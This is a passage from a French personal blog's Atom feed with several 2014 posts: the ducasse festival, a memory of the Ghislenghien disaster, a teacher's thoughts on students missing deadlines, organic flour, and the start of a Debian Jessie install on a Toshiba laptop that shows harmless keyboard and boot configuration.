&lt;p&gt;&lt;img alt="screenshot-vimroom-1.png" src="/images/screenshot-vimroom-1.png" title="screenshot-vimroom-1.png, août 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-vimroom-2.png" src="/images/screenshot-vimroom-2.png" title="screenshot-vimroom-2.png, août 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://reacher16.deviantart.com/art/Aligned-137517132"&gt;Reacher16&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Too long; don&amp;rsquo;t read signale que le billet n&amp;rsquo;est pas lu parce que trop long. J&amp;rsquo;en fait ici un résumé … très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Les filles de la ducasse…</title><link href="http://blog.namok.be/2014-08-20-les-filles-de-la-ducasse.html" rel="alternate"/><published>2014-08-20T00:00:00+02:00</published><updated>2014-08-20T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-08-20:/2014-08-20-les-filles-de-la-ducasse.html</id><summary type="html">Les filles de la ducasse…</summary><content type="html">&lt;p&gt;&lt;img alt="couleursville.jpg" src="/images/couleursville.jpg" title="couleursville.jpg, août 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mauve, blanc, jaune.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On pavoise.&lt;br&gt;
Les drapeaux sont aux fenêtres.&lt;br&gt;
Les fleuristes ont reçu leurs glaïeuls.&lt;/p&gt;
&lt;p&gt;La plupart arboreront un drapeau aux couleurs de la ville, d&amp;rsquo;autres porteront un collier tandis que les plus téméraires s&amp;rsquo;habilleront de pied en cape aux couleurs de la ville. Parfois avec un résultat probant parfois… pas. Mais, c&amp;rsquo;est ducasse, &lt;em&gt;c&amp;rsquo;est fiet&lt;/em&gt; et l&amp;rsquo;on pardonne tout !&lt;/p&gt;
&lt;p&gt;Le vendredi, c&amp;rsquo;est &lt;em&gt;brulage de maronnes&lt;/em&gt; et l&amp;rsquo;ambiance est plutôt à la guindaille. C&amp;rsquo;est plutôt jean-sweat et gobelets en plastiques.&lt;/p&gt;
&lt;p&gt;Samedi, c&amp;rsquo;est le &lt;strong&gt;combat&lt;/strong&gt;, le grand moment ! Le moment où l&amp;rsquo;on saura si la tarte sera bonne ou si elle aura un goût amer, un goût de défaite &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. On a mis ses &lt;em&gt;biaux habits mais nieu co ceux du diméche&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;Le lendemain, c&amp;rsquo;est Dimanche, la journée sera plus longue. Dès 8h00 les matinaux sont dans la ville. On peut sortir ses vêtements mauve, jaune et blanc. Pour peu qu&amp;rsquo;il fasse beau, les rayons du soleil rendront les filles plus belles encore.&lt;/p&gt;
&lt;p&gt;Vivement Dimanche !&lt;/p&gt;
&lt;p&gt;— &lt;em&gt;Casse hein nou !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;(Oui, bon, c&amp;rsquo;est une note d&amp;rsquo;un &lt;a href="2013-03-26-je-suis-un-hommo-blanc-hetero.html"&gt;homme hétéro&lt;/a&gt;… mais on croisera aussi des &lt;em&gt;biaux messieurs&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo au hasard du web&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;C&amp;rsquo;est pour dire hein ! La tarte est toujours bonne et on s&amp;rsquo;en fout un peu &lt;em&gt;qu&amp;rsquo;il ruiche l&amp;rsquo;balle dé l&amp;rsquo;trou ou qu&amp;rsquo;il ratiche&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Roulements de tambour…</title><link href="http://blog.namok.be/2014-08-20-roulements-de-tambour.html" rel="alternate"/><published>2014-08-20T00:00:00+02:00</published><updated>2014-08-20T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-08-20:/2014-08-20-roulements-de-tambour.html</id><summary type="html">C'est bientôt DUCASSE</summary><content type="html">&lt;p&gt;&lt;img alt="geants-john.jpg" src="/images/geants-john.jpg" title="geants-john.jpg, août 2014"&gt;&lt;/p&gt;
&lt;p&gt;J-10 - Les géants sortent de leur sommeil, sont à la recherche de leurs habits et se rendent à l&amp;rsquo;habillage. La ville se prépare. Les ouvriers communaux taillent les arbres tandis que les cafetiers empilent les tables et rentrent les fûts.&lt;/p&gt;
&lt;p&gt;J-3 - C&amp;rsquo;est le jour des essayages des costumes à l&amp;rsquo;académie. L&amp;rsquo;occasion de rencontrer une première fois les amis autour d&amp;rsquo;une première pils… et de se réhabituer à cette saveur de gobelet en plastique jamais égalée !&lt;/p&gt;
&lt;p&gt;On apercevra le commandant des bleus et sa cantinière. On verra Saint-Christophe se réhabituant à ses échasses. Les filles du char de l&amp;rsquo;horticulture répètent leurs chansons accompagnées de la reine des patates. On croisera même un diable encore tout blanc.&lt;/p&gt;
&lt;p&gt;J-2 - Il est plus que temps d&amp;rsquo;aller faire les courses et d&amp;rsquo;acheter les précieuses mastelles et le bourgogne qui accompagnera la tarte.&lt;br&gt;
&lt;em&gt;El tarte Gouyass qu&amp;rsquo;on n&amp;rsquo;pourra nieu maingeu avant l&amp;rsquo;combat&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;J-1 - On place les oripeaux et on pavoise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mauve, blanc, jaune.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le jour J.&lt;/p&gt;
&lt;p&gt;— &lt;em&gt;C&amp;rsquo;est ducasse hein nou !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Pendant quelques jours cette phrase excusera tout.&lt;br&gt;
Pendant quelques jours, la liesse populaire comme on dit nous montrera les bons comme les mauvais côtés de la fête, des amis, des connaissances et de ceux que l&amp;rsquo;on regardera du coin de l&amp;rsquo;œil en se disant que décidément, on n&amp;rsquo;est pas comme ça…&lt;/p&gt;
&lt;p&gt;… avant de dire à nos enfants :&lt;/p&gt;
&lt;p&gt;— Termine tes frites avant de commencer tes croustillons !&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://www.facebook.com/photo.php?fbid=4494902466339&amp;amp;set=a.1985456491758.54455.1703660399&amp;amp;type=1&amp;amp;theater"&gt;John&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Je dormais à poings fermés</title><link href="http://blog.namok.be/2014-07-30-ghislenghien-10ans.html" rel="alternate"/><published>2014-07-30T00:00:00+02:00</published><updated>2014-07-30T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-07-30:/2014-07-30-ghislenghien-10ans.html</id><summary type="html">Aujourd'hui, la catastrophe de Ghislenghien a 10 ans.</summary><content type="html">&lt;p&gt;&lt;img alt="blue_and_gold_smoke_and_fire_by_jaggedtech-d41sevw.jpg" src="/images/blue_and_gold_smoke_and_fire_by_jaggedtech-d41sevw.jpg" title="blue_and_gold_smoke_and_fire_by_jaggedtech-d41sevw.jpg, juil. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Je dormais à poings fermés.&lt;br&gt;
Ce matin là, je n&amp;rsquo;ai rien entendu. Je n&amp;rsquo;ai rien vu. Je n&amp;rsquo;ai même rien su tout de suite. Nous avions roulé toute la nuit pour rentrer de vacances et Morphée nous a préservé du bruit. C&amp;rsquo;est mon ex-femme qui m&amp;rsquo;a tiré du lit.&lt;/p&gt;
&lt;p&gt;— Vous allez bien ? Les enfants vont bien ?&lt;br&gt;
— Heu oui, pourquoi ?&lt;/p&gt;
&lt;p&gt;Je dormais à poings fermés.&lt;br&gt;
De l&amp;rsquo;accident, je n&amp;rsquo;ai eu que des échos d&amp;rsquo;amis qui habitent plus près et qui ont vu la fumée, entendu le bruit, reçu des « morceaux » dans leur jardin. Cette journée là, je ne la connais que par ce que l&amp;rsquo;on m&amp;rsquo;a raconté. Mes proches m&amp;rsquo;ont racontés. Chacun avec son ressenti, chacun avec ses mots. Et aucun d&amp;rsquo;entre eux n&amp;rsquo;a été blessé.&lt;/p&gt;
&lt;p&gt;&lt;a href="2004-11-23-7-aspirant-pompier-ambulancier.html"&gt;C&amp;rsquo;est un peu plus plus tard que nous avons reçu le courrier de recrutement pompiers de la part du mayeur&lt;/a&gt;. C&amp;rsquo;est un peu plus plus tard que je me suis enfin décidé à postuler comme pompier. Même si j&amp;rsquo;étais quasi-prêt, c&amp;rsquo;est cet évènement qui a été le déclencheur.&lt;/p&gt;
&lt;p&gt;De l&amp;rsquo;accident, j&amp;rsquo;ai eu souvent des échos de collègues qui étaient sur place. Les mots sont différents. Ce ne sont plus des images vues à la télé. On est loin des&lt;/p&gt;
&lt;p&gt;— Je voyais de la fumée de mon jardin !&lt;br&gt;
— On entendait un bruit sourd. On s&amp;rsquo;est demandé ce que c&amp;rsquo;était.&lt;/p&gt;
&lt;p&gt;Les souvenirs, les histoires, les blessures sont racontés avec de la proximité. On n&amp;rsquo;est plus dans son jardin à regarder de loin, on est sur le terrain. Ceux qui sont là, ceux qui sont blessés, ceux qui sont morts, on les connait !&lt;/p&gt;
&lt;p&gt;Moi, je ne les ai pas connu, je suis arrivé après.&lt;br&gt;
&lt;em&gt;La catastrophe de Ghislenghien&lt;/em&gt;, c&amp;rsquo;était il y a 10 ans aujourd&amp;rsquo;hui. 10 ans, c&amp;rsquo;est beaucoup. 10 ans c&amp;rsquo;est peu. Au quidam, je dis que la vie doit beaucoup au hasard. À moi, je me rappelle qu&amp;rsquo;il faut profiter du moment présent. Que c&amp;rsquo;est maintenant qu&amp;rsquo;il faut consacrer du temps à mes proches.&lt;/p&gt;
&lt;p&gt;Demain, c&amp;rsquo;est peut-être trop tard.&lt;br&gt;
Je dormais à poings fermés.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://jaggedtech.deviantart.com/art/Blue-and-Gold-Smoke-and-Fire-244869980"&gt;Jaggedtech&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Respect des consignes, respect de l'autre</title><link href="http://blog.namok.be/2014-07-07-respect-des-consignes.html" rel="alternate"/><published>2014-07-07T00:00:00+02:00</published><updated>2014-07-07T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-07-07:/2014-07-07-respect-des-consignes.html</id><summary type="html">Respect des consignes, respect de l'autre</summary><content type="html">&lt;p&gt;&lt;img alt="charliechocolaterie.jpg" src="/images/charliechocolaterie.jpg" title="charliechocolaterie.jpg, juil. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; Si on te dit que c&amp;rsquo;est pour demain, c&amp;rsquo;est pour demain, pas après-demain !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;— Remettez moi la description de votre travail pour vendredi au plus tard. Je vous ferai mes commentaires dans le courant de la journée de lundi afin que vous puissiez commencer à travailler.&lt;/p&gt;
&lt;p&gt;Cette phrase parait anodine mais elle fixe en fait une contrainte. La consigne est de remettre un travail « vendredi au plus tard ». Mon garagiste et mon banquier comprendraient sans doute qu&amp;rsquo;il faut faire ça avant 16h. On est bien d&amp;rsquo;accord qu&amp;rsquo;un avocat dirait, quant à lui, qu&amp;rsquo;il s&amp;rsquo;agit du vendredi avant (strictement) minuit.&lt;/p&gt;
&lt;p&gt;Bref, il faut faire ça pour vendredi !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Faut-il être souple ou strict au sujet du respect des consignes ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Dans mon métier de prof, nous sommes sans cesse confrontés au &lt;strong&gt;respect des consignes&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une convention de nom de fichier;&lt;/li&gt;
&lt;li&gt;une date de remise;&lt;/li&gt;
&lt;li&gt;un ensemble de fonctionnalités à implémenter;&lt;/li&gt;
&lt;li&gt;une heure d&amp;rsquo;examen;&lt;/li&gt;
&lt;li&gt;des modalités de remise d&amp;rsquo;un travail;&lt;/li&gt;
&lt;li&gt;le respect des conventions d&amp;rsquo;écriture du langage;&lt;/li&gt;
&lt;li&gt;etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ces consignes ont-elles un sens ? Ce sens est-il percevable par l&amp;rsquo;étudiant. Ce sens doit-il être systématiquement expliqué ? Puis-je imposer une contrainte sans raison, simplement parce que je préfère ? Puis-je encore imposer ?&lt;/p&gt;
&lt;p&gt;Toutes ces questions parce qu&amp;rsquo;il y en a toujours &lt;em&gt;un&lt;/em&gt;. Il y en a toujours &lt;em&gt;un&lt;/em&gt; qui ne respectera par la consigne. Faut-il le sanctionner comme le train me sanctionne en partant si je suis en retard ou ne rien dire parce que finalement ce n&amp;rsquo;est pas grave si le plombier se pointe deux jours plus tard.&lt;/p&gt;
&lt;p&gt;(J&amp;rsquo;avais pris congé mais je ne dis rien, je suis content qu&amp;rsquo;il vienne réparer la fuite… il m&amp;rsquo;aura couté deux jours de congé ce robinet !)&lt;/p&gt;
&lt;p&gt;Moi, si le plombier ne se pointe pas au rendez-vous, ça ne me broute !&lt;/p&gt;
&lt;p&gt;Samedi 11h, j&amp;rsquo;envoie la description de mon travail…&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est bon, c&amp;rsquo;est pas bien grave, il à dit qu&amp;rsquo;il nous dirait quoi lundi. Il a bien le temps !&lt;br&gt;
— Perdu Rémy !&lt;/p&gt;
&lt;p&gt;Ce WE s&amp;rsquo;annonce finalement bien chargé. Un barbecue vient se placer le samedi midi et je dois emporter mon barbecue car celui des amis sera trop petit &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Pour le dimanche par contre, c&amp;rsquo;est barbecue aussi mais il est prévu de longue date. Il faudra prévoir la tonnelle, les tables et les bancs. Il ne s&amp;rsquo;agira pas de s&amp;rsquo;y prendre à la dernière minute.&lt;/p&gt;
&lt;p&gt;Bref !&lt;/p&gt;
&lt;p&gt;Par respect pour mes étudiants, je mets mon réveil &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; le samedi matin afin de lire ces descriptions de travail avant que les enfants se lèvent et que l&amp;rsquo;on se prépare aux fêtes du WE. Je n&amp;rsquo;aurai pas le temps à un autre moment de le faire surtout que lundi, nous avons un recours et il faudra être au boulot à 8h15 malgré cette damnée grève des trains…&lt;/p&gt;
&lt;p&gt;Samedi matin, rien dans ma bàm !&lt;/p&gt;
&lt;p&gt;Lundi soir, j&amp;rsquo;envoie un mail précisant que je lirai ça &lt;em&gt;asap&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, c&amp;rsquo;est &lt;strong&gt;moi&lt;/strong&gt; qui suit embêté parce que &lt;strong&gt;eux&lt;/strong&gt; n&amp;rsquo;ont pas respectés la consigne. Je suis embêté parce qu&amp;rsquo;il y a à nouveau plein de questions qui se bousculent dans ma tête et que c&amp;rsquo;est lourd de conséquence &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;. Je résume avec deux extrêmes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dois-je répondre au plus vite pour qu&amp;rsquo;ils puissent commencer à travailler ?&lt;/li&gt;
&lt;li&gt;Dois-je ignorer leur mail en arguant que je ne lis pas mes mails pendant les vacances ? Je répondrai donc le 18 août, 3 jours avant l&amp;rsquo;examen !&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;S&amp;rsquo;il faut être attentif à respecter l&amp;rsquo;autre, il est tout aussi important de se sentir respecté. Dans le cas présent, je ne le suis pas. Appliquer une consigne, c&amp;rsquo;est être attentif au travail de l&amp;rsquo;autre. Si la consigne est là c&amp;rsquo;est qu&amp;rsquo;il y a probablement une raison. Personnellement, je suis toujours disposé à l&amp;rsquo;expliquer pourquoi j&amp;rsquo;impose certaines contraintes.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo &amp;lsquo;Charlie et la chocolaterie&amp;rsquo;. &lt;a href="http://fr.wikipedia.org/wiki/Charlie_et_la_Chocolaterie"&gt;Histoire&lt;/a&gt; dans laquelle c&amp;rsquo;est toujours mieux d&amp;rsquo;écouter Willy Wonka lorsqu&amp;rsquo;il met en garde. Ici il vient de dire à Verrucaire Salt de ne pas prendre les noisettes de l&amp;rsquo;écureuil !&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Too long; didn&amp;rsquo;t read signale que le billet n&amp;rsquo;est pas lu parce que trop long. J&amp;rsquo;en fait ici un résumé … très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Oui, j&amp;rsquo;ai un grand barbecue ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Pour dire la vérité, je n&amp;rsquo;ai pas mis mon réveil le samedi matin car le vendredi soir (23h00), ma bàm restait désespérément vide ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Si je ne prend pas le travail, l&amp;rsquo;année est ratée…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>En allant acheter de la farine…</title><link href="http://blog.namok.be/2014-07-06-en-allant-acheter-de-la-farine.html" rel="alternate"/><published>2014-07-06T00:00:00+02:00</published><updated>2014-07-06T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-07-06:/2014-07-06-en-allant-acheter-de-la-farine.html</id><summary type="html">En allant acheter de la farine…</summary><content type="html">&lt;p&gt;&lt;img alt="3603476220_db1f81af57_b.jpg" src="/images/3603476220_db1f81af57_b.jpg" title="3603476220_db1f81af57_b.jpg, juil. 2014"&gt;&lt;/p&gt;
&lt;p&gt;– Prend de la farine bio ! me lance-t-elle&lt;br&gt;
– Oui oui chouchou…&lt;/p&gt;
&lt;p&gt;Je me rend au moulin — parce que je ne vais pas au magasin moi monsieur, j&amp;rsquo;ai un moulin à vent près de chez moi qui mout encore la farine à l&amp;rsquo;ancienne — décidé à acheter un paquet de farine bio plutôt qu&amp;rsquo;une autre. Si ça peut faire plaisir, pourquoi pas. « Je ne suis pas un drôle » me dis-je.&lt;/p&gt;
&lt;p&gt;Par curiosité, je compare le prix de la farine bio par rapport à l&amp;rsquo;autre. La différence est notable. Que faire ? Finalement, de la farine, c&amp;rsquo;est de la farine…&lt;/p&gt;
&lt;p&gt;Imaginons que la farine ne soit pas bio mais que le fermier cultive de manière (un peu) raisonnée. Dans ce cas, il n&amp;rsquo;y aura pas d&amp;rsquo;utilisation de pesticide, l&amp;rsquo;utilisation modérée de fertilisant (type azote) n&amp;rsquo;interviendra que lorsque la plante peut l&amp;rsquo;absorber (et pas la nappe phréatique), la rotation des cultures permettra de limiter l&amp;rsquo;usage d&amp;rsquo;herbicide.&lt;/p&gt;
&lt;p&gt;Bref c&amp;rsquo;est la manière de cultiver la plante qui compte.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est un peu vrai, mais c&amp;rsquo;est faux ! Quid de la graine utilisée ?&lt;/p&gt;
&lt;p&gt;La graine bio est issue d&amp;rsquo;une plante « comme elle ». Elle a un moins bon rendement que sa « sœur » conventionnelle puisqu&amp;rsquo;elle n&amp;rsquo;aura subit aucun traitement.&lt;/p&gt;
&lt;p&gt;La graine conventionnelle est issue du laboratoire. Elle subit des traitements chimiques et reçoit des hormones de synthèse dès sa récolte. Il n&amp;rsquo;est pas rare qu&amp;rsquo;une graine conventionnelle soit enrobée de pesticide. Elle est traitée pour assurer sa conservation et pour la protéger des maladies et des ravageurs. Elle est également « préparée » à germer plus facilement.&lt;/p&gt;
&lt;p&gt;Le porte graine est, quant à lui, cultivé en utilisant tous les pesticides, herbicides qu&amp;rsquo;il faut pour qu&amp;rsquo;il pousse bien. Ce porte graine donne des graines stériles (comme c&amp;rsquo;est dommage, il faudra en racheter) mais fournissant des fruits de forme et de couleur stables ainsi que plus résistants aux maladies. Une graine non traitée est… non traitée mais son portegraine, quant-à lui, l&amp;rsquo;est probablement.&lt;/p&gt;
&lt;p&gt;— Chouchou, j&amp;rsquo;ai acheté le la farine.&lt;br&gt;
— T&amp;rsquo;as pris de la bio ?&lt;br&gt;
— Oui, bien sur.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Source chez &lt;a href="http://jardins-des-bordes.org/spip.php?article48"&gt;Jardins des bordes&lt;/a&gt;, crédit photo chez &lt;a href="http://flickr.com/"&gt;Flickr&lt;/a&gt; par &lt;a href="https://www.flickr.com/photos/quistnix/3603476220/"&gt;Quistnix&lt;/a&gt; et autres photos sympas du moulin de Moulbaix chez &lt;a href="http://belalumo.wordpress.com/2010/06/11/le-moulin-de-moulbaix/"&gt;Bella Lumo&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Installation Debian (Jessie) sur un Toshiba portégé</title><link href="http://blog.namok.be/2014-06-13-installation-debian-toshiba-portege.html" rel="alternate"/><published>2014-06-13T00:00:00+02:00</published><updated>2014-06-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-06-13:/2014-06-13-installation-debian-toshiba-portege.html</id><summary type="html">Installation Debian (Jessie) sur un Toshiba portégé</summary><content type="html">&lt;p&gt;&lt;a href="/images/the_rebirth_of_nintendo_by_gerky_art-d4udxxm.jpg"&gt;&lt;img alt="image" src="/images/the_rebirth_of_nintendo_by_gerky_art-d4udxxm_cut.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; yes, j&amp;rsquo;ai un nouveau portable … et il est installé … depuis presque un an !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ça va faire presque un an que le billet relatant l&amp;rsquo;installation de mon « nouveau » &lt;em&gt;laptop&lt;/em&gt; est resté en &lt;em&gt;stand by&lt;/em&gt;. Pour mes archives, je le publie quand même aujourd&amp;rsquo;hui en bidouillant la date de publication.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;First at all&lt;/em&gt;, appuyer sur F2 afin de ne pas lancer le premier &lt;em&gt;boot&lt;/em&gt; sur MS Windows et mettre dans sa liste de &lt;em&gt;todos&lt;/em&gt; que l&amp;rsquo;on veut se le faire rembourser ! &lt;/p&gt;
&lt;p&gt;Tant que l&amp;rsquo;on est dans le BIOS, vérifier que l&amp;rsquo;on n&amp;rsquo;est pas en UEFI ni en &lt;em&gt;secure boot&lt;/em&gt;. Dans mon cas, on est bien dans le bon vieux mode BIOS qui va bien car c&amp;rsquo;est MS Windows 7 qui est préinstallé tandis que MS Windows 8 est fourni sur un CD dans la boite &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Choisir également de &lt;em&gt;booter&lt;/em&gt; sur une clé USB et redémarrer.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;installation est une installation habituelle de debian (je choisis &lt;strong&gt;xfce4&lt;/strong&gt; comme environnement graphique).&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ajoute au paramètre de &lt;em&gt;boot&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;acpi_backlight=vendor 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;dans le fichier &lt;code&gt;/etc/default/grub&lt;/code&gt; comme je l&amp;rsquo;ai lu un peu partout pour que le réglage de la luminosité fonctionne.&lt;/p&gt;
&lt;p&gt;Je change rapidement mon &lt;em&gt;sources-list&lt;/em&gt; pour passer en &lt;em&gt;jessie&lt;/em&gt; et j&amp;rsquo;&lt;em&gt;upgrade&lt;/em&gt;. Je constate que mon clavier, mes souris (le point bleu et le touchpad), ma carte ethernet ainsi que la carte son et la &lt;em&gt;webcam&lt;/em&gt; &lt;strong&gt;sont reconnus&lt;/strong&gt;. La mise en veille et &lt;em&gt;hibernate&lt;/em&gt; aussi (quoique &lt;em&gt;hibernate&lt;/em&gt; repasse par &lt;em&gt;grub&lt;/em&gt; et c&amp;rsquo;est étrange). L&amp;rsquo;écran tactile n&amp;rsquo;est pas reconnu mais ça ne me surprend pas ainsi que ma carte wifi.&lt;/p&gt;
&lt;p&gt;Histoire de ne pas perdre trop de temps avec un clavier &lt;strong&gt;azerty&lt;/strong&gt;, je m&amp;rsquo;empresse de coller mes autocollants &lt;strong&gt;bépo&lt;/strong&gt; sur mes touches et de passer mon &lt;a href="2012-08-22-bepo-enfin-le-respect-de-mes-bonnes-resolutions.html"&gt;clavier en bépo&lt;/a&gt; par le biais d&amp;rsquo;une petite modification du fichier de conf. J&amp;rsquo;en profite pour &lt;a href="http://www.haypocalc.com/wiki/Touche_compose"&gt;définir quelle sera ma touche compose&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$cat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/default/keyboard
&lt;span class="c1"&gt;# KEYBOARD CONFIGURATION FILE&lt;/span&gt;
&lt;span class="c1"&gt;# Consult the keyboard(5) manual page.&lt;/span&gt;
&lt;span class="nv"&gt;XKBMODEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pc105&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;XKBLAYOUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;fr&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;XKBVARIANT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bepo&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;XKBOPTIONS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;compose:lwin&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;BACKSPACE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;guess&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je consacre un peu de temps à configurer &lt;em&gt;xfce&lt;/em&gt; pour qu&amp;rsquo;il ressemble à ce que j&amp;rsquo;aime bien (je quitte fluxbox qui devenait un peu vieux et essaie xfce sans doute plus moderne bien que tout aussi léger).&lt;/p&gt;
&lt;p&gt;Il reste maintenant à tenter de résoudre les petits soucis.&lt;/p&gt;
&lt;h3&gt;La carte Wifi&lt;/h3&gt;
&lt;p&gt;Le module &lt;strong&gt;iwlwifi&lt;/strong&gt; (à ajouter au fichier &lt;code&gt;/etc/modules&lt;/code&gt;) prendra en charge la carte wifi. Pour que le module fonctionne, il a besoin du firmware propriétaire d&amp;rsquo;Intel. Par défaut, debian ne le fournit pas tant que l&amp;rsquo;on n&amp;rsquo;accepte pas les paquets &lt;em&gt;non-free&lt;/em&gt;. Une fois que c&amp;rsquo;est fait (modification de son &lt;em&gt;sources-list&lt;/em&gt;), l&amp;rsquo;installation du paquet idoine fait l&amp;rsquo;affaire:&lt;/p&gt;
